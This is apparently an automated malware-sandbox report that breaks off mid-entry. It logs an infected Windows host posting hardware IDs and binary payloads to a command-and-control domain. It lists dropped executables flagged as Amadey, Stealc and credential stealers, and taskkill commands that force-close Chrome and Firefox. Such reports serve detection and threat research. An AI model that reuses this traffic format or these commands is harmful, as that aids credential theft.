2024-10-31 03:17:04 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=98b33bpi5r7p0r1qrj7ljt996l; expires=Sun, 23-Feb-2025 21:03:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EEQ7hoR5pO3wwGaxP4S8LeyAmjpNjAypemyP2m1yRbiGWRub2HlgeBxr7%2Fv0QcBYjQyLLbHbYOJOTYE2cM48P82RB4YRt%2FkIorYideBd1RVTOVNayzimOJXBvvboGkSCEGQqua8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d69ac6ae813-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1136&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=2084953&cwnd=251&unsent_bytes=0&cid=1d3536b8dbe92710&ts=777&x=0"
2024-10-31 03:17:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:17:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	58623	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 03:17:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:17:04 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 03:17:05 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m8ddkkp71964iejkk2knt7k6vr; expires=Sun, 23-Feb-2025 21:03:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zi%2Bf4I59k9UihB3svnKbDoNLsD72%2FlWKbpG%2B8CZAQbu%2BzyZvC3BpDItWNvTmCyLcCTrTGi%2FQPa3W%2Fb9t380c%2F8WjuhITWqkqG87FH9Z3C8jHWWA6mltfDOPilEB1Wir9lIoG6qE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d72af1645e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1312&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2343042&cwnd=251&unsent_bytes=0&cid=74790fa872691e23&ts=870&x=0"
2024-10-31 03:17:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	58624	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1299 Host: necklacedmny.store
2024-10-31 03:17:07 UTC	1299	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:17:07 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=auof8d5qa5293mnmea4gh7mkgq; expires=Sun, 23-Feb-2025 21:03:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SEq6LoYhxcwPJACq7y0g%2FgIwjpumwRCdLrjfewlFlPlqjtxXj2ZFLzFLl90vfxrb23jt%2BBSb8%2BmtDGKh044M5lPgGWdEc2RymIKnlbAFCnkSpO%2FsC17G3Vmj1lif704ohV5EvHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d81793a2e75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2119&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2218&delivery_rate=1370563&cwnd=245&unsent_bytes=0&cid=81360a085501f795&ts=667&x=0"
2024-10-31 03:17:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:17:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	58627	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29575 Host: necklacedmny.store
2024-10-31 03:17:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:17:08 UTC	14244	OUT	Data Raw: 55 08 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df Data Ascii: U*@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;
2024-10-31 03:17:09 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=culft60dk8msp6c735ujqolael; expires=Sun, 23-Feb-2025 21:03:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=01WPuRzrl9ELwn%2BsXx%2BDaLzaoKf4r06WAQByMxTy91Lj1qaOw965pGExjjYokmmHoC0JAHH5OHpE%2F3xwkcemzAs9IQErVPlmzppyTD4iD%2FDVGXdC%2F9AKmL4XE4ljbJN9Nsk3HRo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d8a98ad2d29-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1157&sent=14&recv=34&lost=0&retrans=0&sent_bytes=2845&recv_bytes=30561&delivery_rate=2487972&cwnd=243&unsent_bytes=0&cid=247cf6036c5057c3&ts=677&x=0"
2024-10-31 03:17:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:17:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	58629	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:17:10 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 03:17:10 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=623F3A3CB390D3108A14ED63712A8DC2
2024-10-31 03:17:10 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mt84n51l7g9jdc5occ0rf2qqih; expires=Sun, 23-Feb-2025 21:03:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mIGpXVmKJ%2BFq9igklSdYz5ER%2BJtVElkCxWCtYGLMdwhitllA6WRaLSQh3MtEFaJTWPlAR4QpyjaAAZbApiWPZng3ifk%2F5hDY0CVXD4lpwgVQk%2F4Z4ELU94z4ir3S%2F48%2BaAIvRXU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07d929f7b2e5f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1314&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2157973&cwnd=247&unsent_bytes=0&cid=a7742efbd0bf8f34&ts=470&x=0"
2024-10-31 03:17:10 UTC	214	IN	Data Raw: 64 30 0d 0a 65 58 44 4a 2f 77 43 58 73 4a 73 4a 65 44 7a 75 53 72 63 34 36 4f 69 79 2f 46 4f 74 4f 77 4a 31 4b 32 52 53 30 50 6c 6d 64 70 38 69 43 2b 75 4b 49 71 32 53 38 33 30 4d 54 4e 51 57 6d 47 54 48 32 59 72 4a 66 5a 38 4b 4e 31 73 61 56 57 48 2b 79 46 41 71 73 42 59 57 72 36 4d 76 38 39 58 39 4a 78 31 45 69 32 69 62 47 6f 36 63 6b 4d 5a 6a 67 52 6c 6e 56 78 46 55 4c 2f 79 43 52 41 4f 39 51 31 4b 68 69 33 54 6e 69 73 63 6d 4a 42 50 66 63 6f 49 57 32 74 6d 48 30 6d 4b 63 43 43 78 45 48 54 68 39 76 5a 41 49 45 38 4e 57 41 71 69 52 5a 50 6a 64 74 57 77 41 57 63 78 6d 6c 56 36 63 79 6f 6a 4d 66 34 39 65 49 45 38 62 47 51 38 3d 0d 0a Data Ascii: d0eXDJ/wCXsJsJeDzuSrc46Oiy/FOtOwJ1K2RS0Plmdp8iC+uKIq2S830MTNQWmGTH2YrJfZ8KN1saVWH+yFAqsBYWr6Mv89X9Jx1Ei2ibGo6ckMZjgRlnVxFUL/yCRAO9Q1Khi3TniscmJBPfcoIW2tmH0mKcCCxEHTh9vZAIE8NWAqiRZPjdtWwAWcxmlV6cyojMf49eIE8bGQ8=
2024-10-31 03:17:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:14:53
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1b0000
File size:	3'003'904 bytes
MD5 hash:	7BD9DDF41CF8C2451E6E75242FEBFDA1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1729402235.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:15:13
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe"
Imagebase:	0x190000
File size:	2'809'344 bytes
MD5 hash:	69E939844ED586ED304E0C4D9DB0BFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:15:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe"
Imagebase:	0x460000
File size:	1'873'920 bytes
MD5 hash:	6FD2A1CD87446EB0BEA541E0D7388E1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1919373929.0000000000461000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1878822213.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:15:18
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x470000
File size:	1'873'920 bytes
MD5 hash:	6FD2A1CD87446EB0BEA541E0D7388E1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1946832633.0000000000471000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1906133835.0000000005240000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:15:19
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x470000
File size:	1'873'920 bytes
MD5 hash:	6FD2A1CD87446EB0BEA541E0D7388E1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1950487972.0000000000471000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1908505186.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:16:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x470000
File size:	1'873'920 bytes
MD5 hash:	6FD2A1CD87446EB0BEA541E0D7388E1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2318263241.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:16:10
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"
Imagebase:	0x2f0000
File size:	3'003'904 bytes
MD5 hash:	7BD9DDF41CF8C2451E6E75242FEBFDA1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:16:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"
Imagebase:	0xf0000
File size:	2'085'888 bytes
MD5 hash:	E4B956C7C98758B0FEDDA4156545593D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2529289944.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2531875867.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2488093515.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:16:22
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"
Imagebase:	0xa30000
File size:	919'552 bytes
MD5 hash:	1D861B36E55E04FBC04FF38B5D152A08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000C.00000003.2607023655.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:16:22
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"
Imagebase:	0x2f0000
File size:	3'003'904 bytes
MD5 hash:	7BD9DDF41CF8C2451E6E75242FEBFDA1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2629694606.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2672725289.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2585953036.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2585858854.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2658132730.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2604592172.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:16:22
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:16:22
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:16:25
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:16:25
Start date:	30/10/2024
